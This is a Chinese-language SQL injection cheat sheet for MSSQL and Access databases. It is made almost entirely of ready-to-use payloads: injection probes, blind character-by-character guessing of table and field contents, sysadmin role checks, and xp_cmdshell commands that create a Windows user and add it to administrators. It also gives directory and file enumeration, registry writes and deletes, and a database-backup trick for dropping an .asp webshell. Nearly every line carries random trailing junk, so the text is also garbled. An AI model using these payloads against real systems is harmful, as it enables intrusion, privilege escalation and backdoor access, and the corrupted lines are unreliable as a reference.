1.判断是否有注入;and 1=1 ;and 1=2
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2.初步判断是否是mssql ;and user>0 E!(`275s
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3.注入参数是字符'and [查询条件] and ''=' @%5F^Vbd
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' )9;kzp/
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5.判断数据库系统 z<C~DH
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;and (select count(*) from sysobjects)>0 mssql rnt$BB[g
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;and (select count(*) from msysobjects)>0 access zfT'!kb,(
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 n
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 4tN~UMw?
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 E'6z7m.
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9.(1)猜字段的ascii值(access)
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 q=i,'.nS
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(2)猜字段的ascii值(mssql) f<xt3
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ~NJL S-
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10.测试权限结构(mssql) kQ:>j.^e
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- =F;^^VX
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- (l,YI"TzT
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Ub-k<]yZ
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ,HjHt\!~<
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ^SES')x
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- @x\gk5
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;and 1=(select IS_MEMBER('db_owner'));-- 9=;g4I
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11.添加mssql和系统的帐户 "q#g/T
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;exec master.dbo.sp_addlogin username;-- s</ktPtu
;exec master.dbo.sp_password null,username,password;-- iS^^Z ZyR
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- /-} p7AM
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;exec master.dbo.xp_cmdshell 'net user username password $[9V'K
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 9hi(P*%q
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- S}oF7;'Ga
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12.(1)遍历目录 a~+WL
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;create table dirs(paths varchar(100), id int)
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;insert dirs exec master.dbo.xp_dirtree 'c:\' QrRCsy70
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;and (select top 1 paths from dirs)>0 v6(l#,
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) "MKsSty
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(2)遍历目录 }z%/6`7)|
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- hQrsZv:Q
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 o]k]pNO
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 9n2%7dLQ*
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 %1l80Z
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 UVi/Be#|
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13.mssql中的存储过程 GoGgw]h>x
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xp_regenumvalues 注册表根键, 子键 LWR&(p.%
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 }E]&13>r
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xp_regread 根键,子键,键值名 `e:RZ
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;exec xp_regread g0U\AN
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 :BiR6>1:
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xp_regwrite 根键,子键, 值名, 值类型, 值 Cl){sP=8W
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 tWy<9TF
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 [WSIC *|;
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xp_regdeletevalue 根键,子键,值名 ?d'9TOlD
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ~ZIRCTQ"
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 3S21DC@Y
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14.mssql的backup创建webshell *y$r y]
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use model SQ.Wj?W)
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create table cmd(str image); qt;Tfuo
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insert into cmd(str) values (''); s: .XF|e{
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backup database model to disk='c:\l.asp'; pNsLoNZ3w
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15.mssql内置函数 BFRSYwPr
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;and (select @@version)>0 获得Windows的版本号 y6yseR!
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Lu5.$b
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;and (select user_name())>0 爆当前系统的连接用户 -w0>4JDs
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;and (select db_name())>0 得到当前连接的数据库 (NlEb'~+
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16.简洁的webshell Um|Tf]q
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use model WHT%m|yn
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create table cmd(str image); tS@/Bq('B
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insert into cmd(str) values (''); >C66X?0cd
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backup database model to disk='g:\wwwtest\l.asp';